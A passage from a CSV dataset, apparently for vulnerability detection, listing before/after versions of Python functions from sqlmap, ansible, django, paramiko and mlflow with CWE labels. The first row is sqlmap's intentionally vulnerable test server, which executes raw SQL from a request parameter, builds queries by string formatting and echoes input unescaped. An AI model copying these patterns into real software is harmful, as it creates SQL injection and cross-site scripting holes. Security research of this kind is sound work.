            if ""<script>"" in unquote_plus(query):
                self.send_response(INTERNAL_SERVER_ERROR)
                self.send_header(""X-Powered-By"", ""Express"")
                self.send_header(""Connection"", ""close"")
                self.end_headers()
                self.wfile.write(""CLOUDFLARE_ERROR_500S_BOX"".encode(UNICODE_ENCODING))
                return

        if hasattr(self, ""data""):
            if self.data.startswith('{') and self.data.endswith('}'):
                params.update(json.loads(self.data))
            elif self.data.startswith('<') and self.data.endswith('>'):
                params.update(dict((_[0], _[1].replace(""&apos;"", ""'"").replace(""&quot;"", '""').replace(""&lt;"", '<').replace(""&gt;"", '>').replace(""&amp;"", '&')) for _ in re.findall(r'name=""([^""]+)"" value=""([^""]*)""', self.data)))
            else:
                params.update(parse_qs(self.data))

        for name in self.headers:
            params[name.lower()] = self.headers[name]

        if ""cookie"" in params:
            for part in params[""cookie""].split(';'):
                part = part.strip()
                if '=' in part:
                    name, value = part.split('=', 1)
                    params[name.strip()] = unquote_plus(value.strip())

        for key in params:
            if params[key] and isinstance(params[key], (tuple, list)):
                params[key] = params[key][-1]

        self.url, self.params = path, params

        if self.url == '/':
            if not any(_ in self.params for _ in (""id"", ""query"")):
                self.send_response(OK)
                self.send_header(""Content-type"", ""text/html; charset=%s"" % UNICODE_ENCODING)
                self.send_header(""Connection"", ""close"")
                self.end_headers()
                self.wfile.write(b""<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>"")
            else:
                code, output = OK, """"

                try:
                    if self.params.get(""echo"", """"):
                        output += ""%s<br>"" % self.params[""echo""]

                    if self.params.get(""reflect"", """"):
                        output += ""%s<br>"" % self.params.get(""id"")

                    with _lock:
                        if ""query"" in self.params:
                            _cursor.execute(self.params[""query""])
                        elif ""id"" in self.params:
                            if ""base64"" in self.params:
                                _cursor.execute(""SELECT * FROM users WHERE id=%s LIMIT 0, 1"" % base64.b64decode(""%s==="" % self.params[""id""], altchars=self.params.get(""altchars"")).decode())
                            else:
                                _cursor.execute(""SELECT * FROM users WHERE id=%s LIMIT 0, 1"" % self.params[""id""])
                        results = _cursor.fetchall()

                    output += ""<b>SQL results:</b><br>\n""

                    if self.params.get(""code"", """"):
                        if not results:
                            code = INTERNAL_SERVER_ERROR
                    else:
                        if results:
                            output += ""<table border=\""1\"">\n""

                            for row in results:
                                output += ""<tr>""
                                for value in row:
                                    output += ""<td>%s</td>"" % value
                                output += ""</tr>\n""

                            output += ""</table>\n""
                        else:
                            output += ""no results found""

                    output += ""</body></html>""
                except Exception as ex:
                    code = INTERNAL_SERVER_ERROR
                    output = ""%s: %s"" % (re.search(r""'([^']+)'"", str(type(ex))).group(1), ex)

                self.send_response(code)

                self.send_header(""Content-type"", ""text/html"")
                self.send_header(""Connection"", ""close"")

                if self.raw_requestline.startswith(b""HEAD""):
                    self.send_header(""Content-Length"", str(len(output)))
                    self.end_headers()
                else:
                    self.end_headers()
                    self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
        else:
            self.send_response(NOT_FOUND)
            self.send_header(""Connection"", ""close"")
            self.end_headers()",CWE-89,sqlmapproject/sqlmap,160011bd87f9c769cab5fee3477cb781b742e6a8,"def do_REQUEST(self):
        path, query = self.path.split('?', 1) if '?' in self.path else (self.path, """")
        params = {}

        if query:
            params.update(parse_qs(query))

            if ""<script>"" in unquote_plus(query):
                self.send_response(INTERNAL_SERVER_ERROR)
                self.send_header(""X-Powered-By"", ""Express"")
                self.send_header(""Connection"", ""close"")
                self.end_headers()
                self.wfile.write(""CLOUDFLARE_ERROR_500S_BOX"".encode(UNICODE_ENCODING))
                return

        if hasattr(self, ""data""):
            if self.data.startswith('{') and self.data.endswith('}'):
                params.update(json.loads(self.data))
            elif self.data.startswith('<') and self.data.endswith('>'):
                params.update(dict((_[0], _[1].replace(""&apos;"", ""'"").replace(""&quot;"", '""').replace(""&lt;"", '<').replace(""&gt;"", '>').replace(""&amp;"", '&')) for _ in re.findall(r'name=""([^""]+)"" value=""([^""]*)""', self.data)))
            else:
                params.update(parse_qs(self.data))

        for name in self.headers:
            params[name.lower()] = self.headers[name]

        if ""cookie"" in params:
            for part in params[""cookie""].split(';'):
                part = part.strip()
                if '=' in part:
                    name, value = part.split('=', 1)
                    params[name.strip()] = unquote_plus(value.strip())

        for key in params:
            if params[key] and isinstance(params[key], (tuple, list)):
                params[key] = params[key][-1]

        self.url, self.params = path, params

        if self.url == '/':

            if not any(_ in self.params for _ in (""id"", ""query"")):
                self.send_response(OK)
                self.send_header(""Content-type"", ""text/html; charset=%s"" % UNICODE_ENCODING)
                self.send_header(""Connection"", ""close"")
                self.end_headers()
                self.wfile.write(b""<!DOCTYPE html><html><head><title>vulnserver</title></head><body><h3>GET:</h3><a href='/?id=1'>link</a><hr><h3>POST:</h3><form method='post'>ID: <input type='text' name='id'><input type='submit' value='Submit'></form></body></html>"")
            else:
                code, output = OK, """"

                try:
                    if self.params.get(""echo"", """"):
                        output += ""%s<br>"" % self.params[""echo""]

                    if self.params.get(""reflect"", """"):
                        output += ""%s<br>"" % self.params.get(""id"")

                    with _lock:
                        if ""query"" in self.params:
                            _cursor.execute(self.params[""query""])
                        elif ""id"" in self.params:
                            if ""base64"" in self.params:
                                _cursor.execute(""SELECT * FROM users WHERE id=%s LIMIT 0, 1"" % base64.b64decode(""%s==="" % self.params[""id""], altchars=self.params.get(""altchars"")).decode())
                            else:
                                _cursor.execute(""SELECT * FROM users WHERE id=%s LIMIT 0, 1"" % self.params[""id""])
                        results = _cursor.fetchall()

                    output += ""<b>SQL results:</b><br>\n""

                    if results:
                        output += ""<table border=\""1\"">\n""

                        for row in results:
                            output += ""<tr>""
                            for value in row:
                                output += ""<td>%s</td>"" % value
                            output += ""</tr>\n""

                        output += ""</table>\n""
                    else:
                        output += ""no results found""

                    output += ""</body></html>""
                except Exception as ex:
                    code = INTERNAL_SERVER_ERROR
                    output = ""%s: %s"" % (re.search(r""'([^']+)'"", str(type(ex))).group(1), ex)

                self.send_response(code)

                self.send_header(""Content-type"", ""text/html"")
                self.send_header(""Connection"", ""close"")

                if self.raw_requestline.startswith(b""HEAD""):
                    self.send_header(""Content-Length"", str(len(output)))
                    self.end_headers()
                else:
                    self.end_headers()
                    self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
        else:
            self.send_response(NOT_FOUND)
            self.send_header(""Connection"", ""close"")
            self.end_headers()"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/docker/docker.py,0,"def __init__(self, module):
        self.module = module

        self.binds = None
        self.volumes = None
        if self.module.params.get('volumes'):
            self.binds = []
            self.volumes = []
            vols = self.module.params.get('volumes')
            for vol in vols:
                parts = vol.split("":"")
                # regular volume
                if len(parts) == 1:
                    self.volumes.append(parts[0])
                # host mount (e.g. /mnt:/tmp, bind mounts host's /tmp to /mnt in the container)
                elif 2 <= len(parts) <= 3:
                    # default to read-write
                    mode = 'rw'
                    # with supplied bind mode
                    if len(parts) == 3:
                        if parts[2] not in [""rw"", ""rw,Z"", ""rw,z"", ""z,rw"", ""Z,rw"", ""Z"", ""z"", ""ro"", ""ro,Z"", ""ro,z"", ""z,ro"", ""Z,ro""]:
                            self.module.fail_json(msg='invalid bind mode ' + parts[2])
                        else:
                            mode = parts[2]
                    self.binds.append(""%s:%s:%s"" % (parts[0], parts[1], mode))
                else:
                    self.module.fail_json(msg='volumes support 1 to 3 arguments')

        self.lxc_conf = None
        if self.module.params.get('lxc_conf'):
            self.lxc_conf = []
            options = self.module.params.get('lxc_conf')
            for option in options:
                parts = option.split(':', 1)
                self.lxc_conf.append({""Key"": parts[0], ""Value"": parts[1]})

        self.exposed_ports = None
        if self.module.params.get('expose'):
            self.exposed_ports = self.get_exposed_ports(self.module.params.get('expose'))

        self.port_bindings = None
        if self.module.params.get('ports'):
            self.port_bindings = self.get_port_bindings(self.module.params.get('ports'))

        self.links = None
        if self.module.params.get('links'):
            self.links = self.get_links(self.module.params.get('links'))

        env = self.module.params.get('env', None)
        env_file = self.module.params.get('env_file', None)
        self.environment = self.get_environment(env, env_file)

        self.ulimits = None
        if self.module.params.get('ulimits'):
            self.ulimits = []
            ulimits = self.module.params.get('ulimits')
            for ulimit in ulimits:
                parts = ulimit.split("":"")
                if len(parts) == 2:
                    self.ulimits.append({'name': parts[0], 'soft': int(parts[1]), 'hard': int(parts[1])})
                elif len(parts) == 3:
                    self.ulimits.append({'name': parts[0], 'soft': int(parts[1]), 'hard': int(parts[2])})
                else:
                    self.module.fail_json(msg='ulimits support 2 to 3 arguments')

        # Connect to the docker server using any configured host and TLS settings.

        env_host = os.getenv('DOCKER_HOST')
        env_docker_verify = os.getenv('DOCKER_TLS_VERIFY')
        env_cert_path = os.getenv('DOCKER_CERT_PATH')
        env_docker_hostname = os.getenv('DOCKER_TLS_HOSTNAME')

        docker_url = module.params.get('docker_url')
        if not docker_url:
            if env_host:
                docker_url = env_host
            else:
                docker_url = 'unix://var/run/docker.sock'

        docker_api_version = module.params.get('docker_api_version')
        timeout = module.params.get('timeout')

        tls_client_cert = module.params.get('tls_client_cert', None)
        if not tls_client_cert and env_cert_path:
            tls_client_cert = os.path.join(env_cert_path, 'cert.pem')

        tls_client_key = module.params.get('tls_client_key', None)
        if not tls_client_key and env_cert_path:
            tls_client_key = os.path.join(env_cert_path, 'key.pem')

        tls_ca_cert = module.params.get('tls_ca_cert')
        if not tls_ca_cert and env_cert_path:
            tls_ca_cert = os.path.join(env_cert_path, 'ca.pem')

        tls_hostname = module.params.get('tls_hostname')
        if tls_hostname is None:
            if env_docker_hostname:
                tls_hostname = env_docker_hostname
            else:
                parsed_url = urlparse(docker_url)
                if ':' in parsed_url.netloc:
                    tls_hostname = parsed_url.netloc[:parsed_url.netloc.rindex(':')]
                else:
                    tls_hostname = parsed_url
        if not tls_hostname:
            tls_hostname = True

        # use_tls can be one of four values:
        # no: Do not use tls
        # encrypt: Use tls.  We may do client auth.  We will not verify the server
        # verify: Use tls.  We may do client auth.  We will verify the server
        # None: Only use tls if the parameters for client auth were specified
        #   or tls_ca_cert (which requests verifying the server with
        #   a specific ca certificate)
        use_tls = module.params.get('use_tls')
        if use_tls is None and env_docker_verify is not None:
            use_tls = 'verify'

        tls_config = None
        if use_tls != 'no':
            params = {}

            # Setup client auth
            if tls_client_cert and tls_client_key:
                params['client_cert'] = (tls_client_cert, tls_client_key)

            # We're allowed to verify the connection to the server
            if use_tls == 'verify' or (use_tls is None and tls_ca_cert):
                if tls_ca_cert:
                    params['ca_cert'] = tls_ca_cert
                    params['verify'] = True
                    params['assert_hostname'] = tls_hostname
                else:
                    params['verify'] = True
                    params['assert_hostname'] = tls_hostname
            elif use_tls == 'encrypt':
                params['verify'] = False

            if params:
                # See https://github.com/docker/docker-py/blob/d39da11/docker/utils/utils.py#L279-L296
                docker_url = docker_url.replace('tcp://', 'https://')
                tls_config = docker.tls.TLSConfig(**params)

        self.client = docker.Client(base_url=docker_url,
                                    version=docker_api_version,
                                    tls=tls_config,
                                    timeout=timeout)

        self.docker_py_versioninfo = get_docker_py_versioninfo()",,ansible/ansible,08ad68984cc66e3ff4e3c300f0a8c383d77a6377,"def __init__(self, module):
        self.module = module

        self.binds = None
        self.volumes = None
        if self.module.params.get('volumes'):
            self.binds = []
            self.volumes = []
            vols = self.module.params.get('volumes')
            for vol in vols:
                parts = vol.split("":"")
                # regular volume
                if len(parts) == 1:
                    self.volumes.append(parts[0])
                # host mount (e.g. /mnt:/tmp, bind mounts host's /tmp to /mnt in the container)
                elif 2 <= len(parts) <= 3:
                    # default to read-write
                    mode = 'rw'
                    # with supplied bind mode
                    if len(parts) == 3:
                        if parts[2] not in [""rw"", ""rw,Z"", ""rw,z"", ""z,rw"", ""Z,rw"", ""Z"", ""z"", ""ro"", ""ro,Z"", ""ro,z"", ""z,ro"", ""Z,ro""]:
                            self.module.fail_json(msg='invalid bind mode ' + parts[2])
                        else:
                            mode = parts[2]
                    self.binds.append((parts[0], {'bind': parts[1], 'mode': mode}))
                else:
                    self.module.fail_json(msg='volumes support 1 to 3 arguments')

        self.lxc_conf = None
        if self.module.params.get('lxc_conf'):
            self.lxc_conf = []
            options = self.module.params.get('lxc_conf')
            for option in options:
                parts = option.split(':', 1)
                self.lxc_conf.append({""Key"": parts[0], ""Value"": parts[1]})

        self.exposed_ports = None
        if self.module.params.get('expose'):
            self.exposed_ports = self.get_exposed_ports(self.module.params.get('expose'))

        self.port_bindings = None
        if self.module.params.get('ports'):
            self.port_bindings = self.get_port_bindings(self.module.params.get('ports'))

        self.links = None
        if self.module.params.get('links'):
            self.links = self.get_links(self.module.params.get('links'))

        env = self.module.params.get('env', None)
        env_file = self.module.params.get('env_file', None)
        self.environment = self.get_environment(env, env_file)

        self.ulimits = None
        if self.module.params.get('ulimits'):
            self.ulimits = []
            ulimits = self.module.params.get('ulimits')
            for ulimit in ulimits:
                parts = ulimit.split("":"")
                if len(parts) == 2:
                    self.ulimits.append({'name': parts[0], 'soft': int(parts[1]), 'hard': int(parts[1])})
                elif len(parts) == 3:
                    self.ulimits.append({'name': parts[0], 'soft': int(parts[1]), 'hard': int(parts[2])})
                else:
                    self.module.fail_json(msg='ulimits support 2 to 3 arguments')

        # Connect to the docker server using any configured host and TLS settings.

        env_host = os.getenv('DOCKER_HOST')
        env_docker_verify = os.getenv('DOCKER_TLS_VERIFY')
        env_cert_path = os.getenv('DOCKER_CERT_PATH')
        env_docker_hostname = os.getenv('DOCKER_TLS_HOSTNAME')

        docker_url = module.params.get('docker_url')
        if not docker_url:
            if env_host:
                docker_url = env_host
            else:
                docker_url = 'unix://var/run/docker.sock'

        docker_api_version = module.params.get('docker_api_version')
        timeout = module.params.get('timeout')

        tls_client_cert = module.params.get('tls_client_cert', None)
        if not tls_client_cert and env_cert_path:
            tls_client_cert = os.path.join(env_cert_path, 'cert.pem')

        tls_client_key = module.params.get('tls_client_key', None)
        if not tls_client_key and env_cert_path:
            tls_client_key = os.path.join(env_cert_path, 'key.pem')

        tls_ca_cert = module.params.get('tls_ca_cert')
        if not tls_ca_cert and env_cert_path:
            tls_ca_cert = os.path.join(env_cert_path, 'ca.pem')

        tls_hostname = module.params.get('tls_hostname')
        if tls_hostname is None:
            if env_docker_hostname:
                tls_hostname = env_docker_hostname
            else:
                parsed_url = urlparse(docker_url)
                if ':' in parsed_url.netloc:
                    tls_hostname = parsed_url.netloc[:parsed_url.netloc.rindex(':')]
                else:
                    tls_hostname = parsed_url
        if not tls_hostname:
            tls_hostname = True

        # use_tls can be one of four values:
        # no: Do not use tls
        # encrypt: Use tls.  We may do client auth.  We will not verify the server
        # verify: Use tls.  We may do client auth.  We will verify the server
        # None: Only use tls if the parameters for client auth were specified
        #   or tls_ca_cert (which requests verifying the server with
        #   a specific ca certificate)
        use_tls = module.params.get('use_tls')
        if use_tls is None and env_docker_verify is not None:
            use_tls = 'verify'

        tls_config = None
        if use_tls != 'no':
            params = {}

            # Setup client auth
            if tls_client_cert and tls_client_key:
                params['client_cert'] = (tls_client_cert, tls_client_key)

            # We're allowed to verify the connection to the server
            if use_tls == 'verify' or (use_tls is None and tls_ca_cert):
                if tls_ca_cert:
                    params['ca_cert'] = tls_ca_cert
                    params['verify'] = True
                    params['assert_hostname'] = tls_hostname
                else:
                    params['verify'] = True
                    params['assert_hostname'] = tls_hostname
            elif use_tls == 'encrypt':
                params['verify'] = False

            if params:
                # See https://github.com/docker/docker-py/blob/d39da11/docker/utils/utils.py#L279-L296
                docker_url = docker_url.replace('tcp://', 'https://')
                tls_config = docker.tls.TLSConfig(**params)

        self.client = docker.Client(base_url=docker_url,
                                    version=docker_api_version,
                                    tls=tls_config,
                                    timeout=timeout)

        self.docker_py_versioninfo = get_docker_py_versioninfo()"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def result_headers(cl):
    """"""
    Generate the list column headers.
    """"""
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(
            field_name, cl.model, model_admin=cl.model_admin, return_attr=True
        )
        is_field_sortable = cl.sortable_by is None or field_name in cl.sortable_by
        if attr:
            field_name = _coerce_field_name(field_name, i)
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == ""action_checkbox"":
                aria_label = _(""Select all objects on this page for an action"")
                yield {
                    ""text"": mark_safe(
                        f'<input type=""checkbox"" id=""action-toggle"" '
                        f'aria-label=""{aria_label}"">'
                    ),
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
                    ""sortable"": False,
                }
                continue

            admin_order_field = getattr(attr, ""admin_order_field"", None)
            # Set ordering for attr that is a property, if defined.
            if isinstance(attr, property) and hasattr(attr, ""fget""):
                admin_order_field = getattr(attr.fget, ""admin_order_field"", None)
            if not admin_order_field:
                is_field_sortable = False

        if not is_field_sortable:
            # Not sortable
            yield {
                ""text"": text,
                ""class_attrib"": format_html(' class=""column-{}""', field_name),
                ""sortable"": False,
            }
            continue

        # OK, it is sortable if we got this far
        th_classes = [""sortable"", ""column-{}"".format(field_name)]
        order_type = """"
        new_order_type = ""asc""
        sort_priority = 0
        # Is it currently being sorted on?
        is_sorted = i in ordering_field_columns
        if is_sorted:
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append(""sorted %sending"" % order_type)
            new_order_type = {""asc"": ""desc"", ""desc"": ""asc""}[order_type]

        # build new ordering param
        o_list_primary = []  # URL for making this field the primary sort
        o_list_remove = []  # URL for removing this field from sort
        o_list_toggle = []  # URL for toggling order type for this field

        def make_qs_param(t, n):
            return (""-"" if t == ""desc"" else """") + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i:  # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            ""text"": text,
            ""sortable"": True,
            ""sorted"": is_sorted,
            ""ascending"": order_type == ""asc"",
            ""sort_priority"": sort_priority,
            ""url_primary"": cl.get_query_string({ORDER_VAR: ""."".join(o_list_primary)}),
            ""url_remove"": cl.get_query_string({ORDER_VAR: ""."".join(o_list_remove)}),
            ""url_toggle"": cl.get_query_string({ORDER_VAR: ""."".join(o_list_toggle)}),
            ""class_attrib"": format_html(' class=""{}""', "" "".join(th_classes))
            if th_classes
            else """",
        }",CWE-79,django/django,85366fbca723c9b37d0ac9db1d44e3f1cb188db2,"def result_headers(cl):
    """"""
    Generate the list column headers.
    """"""
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(
            field_name, cl.model, model_admin=cl.model_admin, return_attr=True
        )
        is_field_sortable = cl.sortable_by is None or field_name in cl.sortable_by
        if attr:
            field_name = _coerce_field_name(field_name, i)
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == ""action_checkbox"":
                yield {
                    ""text"": text,
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
                    ""sortable"": False,
                }
                continue

            admin_order_field = getattr(attr, ""admin_order_field"", None)
            # Set ordering for attr that is a property, if defined.
            if isinstance(attr, property) and hasattr(attr, ""fget""):
                admin_order_field = getattr(attr.fget, ""admin_order_field"", None)
            if not admin_order_field:
                is_field_sortable = False

        if not is_field_sortable:
            # Not sortable
            yield {
                ""text"": text,
                ""class_attrib"": format_html(' class=""column-{}""', field_name),
                ""sortable"": False,
            }
            continue

        # OK, it is sortable if we got this far
        th_classes = [""sortable"", ""column-{}"".format(field_name)]
        order_type = """"
        new_order_type = ""asc""
        sort_priority = 0
        # Is it currently being sorted on?
        is_sorted = i in ordering_field_columns
        if is_sorted:
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append(""sorted %sending"" % order_type)
            new_order_type = {""asc"": ""desc"", ""desc"": ""asc""}[order_type]

        # build new ordering param
        o_list_primary = []  # URL for making this field the primary sort
        o_list_remove = []  # URL for removing this field from sort
        o_list_toggle = []  # URL for toggling order type for this field

        def make_qs_param(t, n):
            return (""-"" if t == ""desc"" else """") + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i:  # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            ""text"": text,
            ""sortable"": True,
            ""sorted"": is_sorted,
            ""ascending"": order_type == ""asc"",
            ""sort_priority"": sort_priority,
            ""url_primary"": cl.get_query_string({ORDER_VAR: ""."".join(o_list_primary)}),
            ""url_remove"": cl.get_query_string({ORDER_VAR: ""."".join(o_list_remove)}),
            ""url_toggle"": cl.get_query_string({ORDER_VAR: ""."".join(o_list_toggle)}),
            ""class_attrib"": format_html(' class=""{}""', "" "".join(th_classes))
            if th_classes
            else """",
        }"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/transport.py,0,"def stop_thread(self):
        self.active = False
        self.packetizer.close()
        while self.is_alive() and (self is not threading.current_thread()):
            self.join(10)",,paramiko/paramiko,4dff7074d1f3f331047d67bff5a9780c0e8457d0,"def stop_thread(self):
        self.active = False
        self.packetizer.close()
        while self.isAlive():
            self.join(10)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/fluent.py,0,"def start_run(run_uuid=None, experiment_id=None, source_name=None, source_version=None,
              entry_point_name=None, source_type=None, run_name=None):
    """"""
    Start a new MLflow run, setting it as the active run under which metrics and params
    will be logged. The return value can be used as a context manager within a ``with`` block;
    otherwise, ``end_run()`` must be called to terminate the current run. If ``run_uuid``
    is passed or the ``MLFLOW_RUN_ID`` environment variable is set, ``start_run`` attempts to
    resume a run with the specified run ID (with ``run_uuid`` taking precedence over
    ``MLFLOW_RUN_ID``), and other parameters are ignored.

    :param run_uuid: If specified, get the run with the specified UUID and log metrics
                     and params under that run. The run's end time is unset and its status
                     is set to running, but the run's other attributes remain unchanged
                     (the run's ``source_version``, ``source_type``, etc. are not changed).
    :param experiment_id: Used only when ``run_uuid`` is unspecified. ID of the experiment under
                          which to create the current run. If unspecified, the run is created under
                          default experiment.
    :param source_name: Name of the source file or URI of the project to be associated with the run.
                        Defaults to the current file if none provided.
    :param source_version: Optional Git commit hash to associate with the run.
    :param entry_point_name: Optional name of the entry point for to the current run.
    :param source_type: Integer enum value describing the type of the run
                        (""local"", ""project"", etc.). Defaults to
                        ``mlflow.entities.SourceType.LOCAL``.
    :param run_name: Used only when ``run_uuid`` is unspecified. Desired name of new run created.
    :return: :py:class:`mlflow.ActiveRun` object that acts as a context manager wrapping
             the run's state.
    """"""
    global _active_run
    if _active_run:
        raise Exception(""Run with UUID %s is already active, unable to start nested ""
                        ""run"" % _active_run.info.run_uuid)
    existing_run_uuid = run_uuid or os.environ.get(_RUN_ID_ENV_VAR, None)
    if existing_run_uuid:
        _validate_run_id(existing_run_uuid)
        active_run_obj = get_service().get_run(existing_run_uuid)
    else:
        exp_id_for_run = experiment_id or _get_experiment_id()
        if is_in_databricks_notebook():
            databricks_tags = {}
            notebook_id = get_notebook_id()
            notebook_path = get_notebook_path()
            webapp_url = get_webapp_url()
            if notebook_id is not None:
                databricks_tags[_TAG_MLFLOW_DATABRICKS_NOTEBOOK_ID] = notebook_id
            if notebook_path is not None:
                databricks_tags[_TAG_MLFLOW_DATABRICKS_NOTEBOOK_PATH] = notebook_path
            if webapp_url is not None:
                databricks_tags[_TAG_MLFLOW_DATABRICKS_WEBAPP_URL] = webapp_url
            active_run_obj = get_service().create_run(
                experiment_id=exp_id_for_run,
                run_name=run_name,
                source_name=notebook_path,
                source_version=source_version or _get_source_version(),
                entry_point_name=entry_point_name,
                source_type=SourceType.NOTEBOOK,
                tags=databricks_tags)
        else:
            active_run_obj = get_service().create_run(
                experiment_id=exp_id_for_run,
                run_name=run_name,
                source_name=source_name or _get_source_name(),
                source_version=source_version or _get_source_version(),
                entry_point_name=entry_point_name,
                source_type=source_type or _get_source_type())
    _active_run = ActiveRun(active_run_obj)
    return _active_run",,mlflow/mlflow,79ef2d4dd5b75ee3aa63bec502686845806b4556,"def start_run(run_uuid=None, experiment_id=None, source_name=None, source_version=None,
              entry_point_name=None, source_type=None, run_name=None):
    """"""
    Start a new MLflow run, setting it as the active run under which metrics and params
    will be logged. The return value can be used as a context manager within a ``with`` block;
    otherwise, ``end_run()`` must be called to terminate the current run. If ``run_uuid``
    is passed or the ``MLFLOW_RUN_ID`` environment variable is set, ``start_run`` attempts to
    resume a run with the specified run ID (with ``run_uuid`` taking precedence over
    ``MLFLOW_RUN_ID``), and other parameters are ignored.

    :param run_uuid: If specified, get the run with the specified UUID and log metrics
                     and params under that run. The run's end time is unset and its status
                     is set to running, but the run's other attributes remain unchanged
                     (the run's ``source_version``, ``source_type``, etc. are not changed).
    :param experiment_id: Used only when ``run_uuid`` is unspecified. ID of the experiment under
                          which to create the current run. If unspecified, the run is created under
                          a new experiment with a randomly generated name.
    :param source_name: Name of the source file or URI of the project to be associated with the run.
                        Defaults to the current file if none provided.
    :param source_version: Optional Git commit hash to associate with the run.
    :param entry_point_name: Optional name of the entry point for to the current run.
    :param source_type: Integer enum value describing the type of the run
                        (""local"", ""project"", etc.). Defaults to
                        ``mlflow.entities.SourceType.LOCAL``.
    :return: :py:class:`mlflow.ActiveRun` object that acts as a context manager wrapping
             the run's state.
    """"""
    global _active_run
    if _active_run:
        raise Exception(""Run with UUID %s is already active, unable to start nested ""
                        ""run"" % _active_run.info.run_uuid)
    existing_run_uuid = run_uuid or os.environ.get(_RUN_ID_ENV_VAR, None)
    if existing_run_uuid:
        _validate_run_id(existing_run_uuid)
        active_run_obj = get_service().get_run(existing_run_uuid)
    else:
        exp_id_for_run = experiment_id or _get_experiment_id()
        if is_in_databricks_notebook():
            databricks_tags = {}
            notebook_id = get_notebook_id()
            notebook_path = get_notebook_path()
            webapp_url = get_webapp_url()
            if notebook_id is not None:
                databricks_tags[_TAG_MLFLOW_DATABRICKS_NOTEBOOK_ID] = notebook_id
            if notebook_path is not None:
                databricks_tags[_TAG_MLFLOW_DATABRICKS_NOTEBOOK_PATH] = notebook_path
            if webapp_url is not None:
                databricks_tags[_TAG_MLFLOW_DATABRICKS_WEBAPP_URL] = webapp_url
            active_run_obj = get_service().create_run(
                experiment_id=exp_id_for_run,
                run_name=run_name,
                source_name=notebook_path,
                source_version=source_version or _get_source_version(),
                entry_point_name=entry_point_name,
                source_type=SourceType.NOTEBOOK,
                tags=databricks_tags)
        else:
            active_run_obj = get_service().create_run(
                experiment_id=exp_id_for_run,
                run_name=run_name,
                source_name=source_name or _get_source_name(),
                source_version=source_version or _get_source_version(),
                entry_point_name=entry_point_name,
                source_type=source_type or _get_source_type())
    _active_run = ActiveRun(active_run_obj)
    return _active_run"
,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,1,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta

        if not self.has_add_permission(request):
            raise PermissionDenied

        ModelForm = self.get_form(request)
        formsets = []
        inline_instances = self.get_inline_instances(request)
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                new_object = self.save_form(request, form, change=False)
                form_validated = True
            else:
                form_validated = False
                new_object = self.model()
            prefixes = {}
            for FormSet, inline in zip(self.get_formsets(request), inline_instances):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1 or not prefix:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=""_saveasnew"" in request.POST,
                                  prefix=prefix, queryset=inline.queryset(request))
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, False)
                self.save_related(request, form, formsets, False)
                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            # Prepare the dict of initial data from the request.
            # We have to special-case M2Ms as a list of comma-separated PKs.
            initial = dict(request.GET.items())
            for k in initial:
                try:
                    f = opts.get_field(k)
                except models.FieldDoesNotExist:
                    continue
                if isinstance(f, models.ManyToManyField):
                    initial[k] = initial[k].split("","")
            form = ModelForm(initial=initial)
            prefixes = {}
            for FormSet, inline in zip(self.get_formsets(request), inline_instances):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1 or not prefix:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(instance=self.model(), prefix=prefix,
                                  queryset=inline.queryset(request))
                formsets.append(formset)

        adminForm = helpers.AdminForm(form, list(self.get_fieldsets(request)),
            self.get_prepopulated_fields(request),
            self.get_readonly_fields(request),
            model_admin=self)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            readonly = list(inline.get_readonly_fields(request))
            prepopulated = dict(inline.get_prepopulated_fields(request))
            inline_admin_formset = helpers.InlineAdminFormSet(inline, formset,
